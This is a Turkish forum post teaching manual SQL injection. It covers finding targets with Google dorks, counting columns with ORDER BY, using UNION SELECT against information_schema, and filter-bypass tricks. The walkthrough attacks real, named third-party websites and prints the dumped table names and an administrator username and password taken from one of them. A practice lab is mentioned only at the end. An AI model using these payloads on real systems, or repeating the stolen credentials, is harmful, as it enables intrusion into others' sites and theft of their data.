Manuel Sql İnjection

Katılım
25 Şub 2016
Tepki puanı
33
Rating - 0%
Sql açıklı site bulmak için dork yazmamız gerek dorklarımız genel şöyle:
inurl:index.php?id=
inurl url içinde demek yani site şöyle gelicek www.site.com/index.php?id=
intext:buy intext ise sitede olan yazıları taratır.
site:co.uk bu da sitelerin bitişi için örnek. www.site.co.uk
genelde dork için bu üçü kullanılır.
burada binlerce dork bulabilirsiniz test amaçlı.
http://adf.ly/1ZnlOs
http://adf.ly/1ZnlSP
kendi dorkunuz yaratmak istiyorsanız.bu programı kullanabilirsiniz.
http://adf.ly/1ZnlWE
kullanımı ile ilgili vidyo şurada:
başlayalım şimdi dorkumuzu google yazıyoruz orada çıkan sitelerden birine tıklıyoruz.
www.site.com/index.php?id=1 sonuna ' yani tek tırnak ekliyoruz yada çoğu kişi bilmez ama şunu da yapabiliriz
www.site.com/index.php?id=1' yada www.site.com/index.php?id=9999.9 yapalım.
karşımıza şu tarz bir hata çıkacak :Query failed : You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1
hata değişkenlik gösterebilir ama sql hatası olacak hata vermiyorsa muhtemelen açıklı değildir.
örnek site:http://www.bible-history.com/subcat.php?id=40'
ilk önce order by komutu ile kolon sayısını bulalım.
http://www.bible-history.com/subcat.php?id=40 order by 10 diyelim
Query failed : Unknown column '10' in 'order clause' hata aldık sayıyı düşürelim hata almazsak sayıyı artırın
http://www.bible-history.com/subcat.php?id=40 order by 9
http://www.bible-history.com/subcat.php?id=40 order by 8
http://www.bible-history.com/subcat.php?id=40 order by 5
http://www.bible-history.com/subcat.php?id=40 order by 2
hata var
http://www.bible-history.com/subcat.php?id=40 order by 1
hata yok yani kolon sayısı sadece 1
sonraki komutumuz union all select 1,2,3,4 kaçtane kolon sayısı çıktıysa bizde 1 tane ona göre
http://www.bible-history.com/subcat.php?id=40 union all select 1
sayıyoruz karşımıza açıklı kolonlar geliyor bizde bir kolon var yani 1 geldi eğer kolonlar yansımazsa
sonuna -- koyuyoruz buda olmazsa olmayan bir id sayısı veriyoruz - verebiliriz yada
http://www.bible-history.com/subcat.php?id=40 union all select 1--
http://www.bible-history.com/subcat.php?id=-40 union all select 1--
http://www.bible-history.com/subcat.php?id=9999.9 union all select 1--
şimdi versionu öğrenelim açıklı kolonların yerine version() yazalım
http://www.bible-history.com/subcat.php?id=40 union all select version()--
5.5.46 yansıdı yani 5 ve üzeri eğer 4 çıksaydı tablo adlarını tektek deneyerek bulacaktık 5 ve üzerinde information_schema adlı veritabanı sayesinde tablo ve kolon adlarını öğrenebiliyoruz.
şimdi tablo adlarını almak için group_concat(table_name) yi açıklı kolon yerine yazalım sonra from information_schema.tables where table_schema=database() yazalım
http://www.bible-history.com/subcat.php?id=40 union all select group_concat(table_name) from information_schema.tables where table_schema=database()
Emails,administrators,bh_addform,bh_guestbook,bho_board_bans,bho_board_forums,bho_board_posts,bho_board_search,bho_board_topics,bho_board_users,bible_book,books,cat,categories,chapters,chapters1,commentary_jfb,eastons,guestbook,isbe,kingjames,kjv_verse,links,mathew,naves,naves_phrase,naves_verse,ob_book_abbreviation_lookup,outline_chapter,
tablo adları yansıdı
şimdi group_concat(table_name) ı group_concat(column_name) from information_schema.tables where table_schema=database() ı from information_schema.columns where table_name="tabloadı"
http://www.bible-history.com/subcat.php?id=40 union all select group_concat(column_name) from information_schema.columns where table_name="administrators"
tablo adları yansıdı
admin_id,admin_username,admin_password,admin_first_name,admin_last_name
burdan önemli olan bizim için username ve password onları çekelim
group_concat(kolonadı,0x3a,kolonadı2) from tabloadı diyecez 0x3a : oluyor admin pass ve username karışmasın diye yazdık
http://www.bible-history.com/subcat.php?id=40 union all select group_concat(admin_username,0x3a,admin_password) from administrators
sonuç karşımızda jc:Mos3s username jc password Mos3s
bu integer tipi sql inj du bazı siteler string tipidir onuda göstereyim
order by dediğimizde hata vermez stringerler onu biraz değiştirelim
' order by sayı--+
örnek site :http://www.dunyakoleji.net/duyuru_detay.php?id=128' order by 5--+
hata var
http://www.dunyakoleji.net/duyuru_detay.php?id=128' order by 4--+
hata yok kolon sayısı 4 gerisini nasıl yapacağınızı biliyorsunuz ben genede yapayım
http://www.dunyakoleji.net/duyuru_detay.php?id=128' union all select 1,2,3,4--+
2 ve 3 yansıdı
http://www.dunyakoleji.net/duyuru_detay.php?id=128' union all select 1,group_concat(table_name),3,4 from information_Schema.tables where table_schema=database()--+
tablolarımız yansıdı ancak bizim için değerli admin yada user pass verecek tablo yok gerisini biliyorsunu yaparsınız heralde test için rastgele bir tablo kolon çekebilirsiniz
Album,anaokul,anaokulalbum,anaokulsosyaletkinlik,anasite,bizdenkareler,duyurular,haberler,ilkokul,ilkokulalbum,ilkokulsosyaletkinlik,projeler,slider

kendinizi eğitmek için bu siteden test yapabilirsiniz
http://www.zixem.altervista.org/SQLi/
ben ilk 4ü yapabildim diğerlerini yapamadım.
yada http://adf.ly/1Znnna burdan dvwayı indirin xamp yada wamp kurup ordan test edebilirsiniz
onuda youtubeda yada google yaparak bulabilirsiniz hadi ben üşenenlere linki verem
kısaca bypassdanda bahsedeyim bazı siteler yutmuyor sql inj onu da bypass edeceksiniz

/*! */ ile bypass
/*!union*/ /*!select*/
büyük harf küçük harf bypass
/*!uNiOn*/ /*!SeLecT*/
bypass 3
/*!50000uNiOn*/ /*!50000SeLecT*/
hex ile bypass
unhex(hex(group_concat(table_name))

öğrenince blind sql inj de anlatacagım arkadaşlar şimdilik bu kadar
 
131,613Konular
3,269,704Mesajlar
315,579Kullanıcılar
fidankalzSon Üye
Üst Alt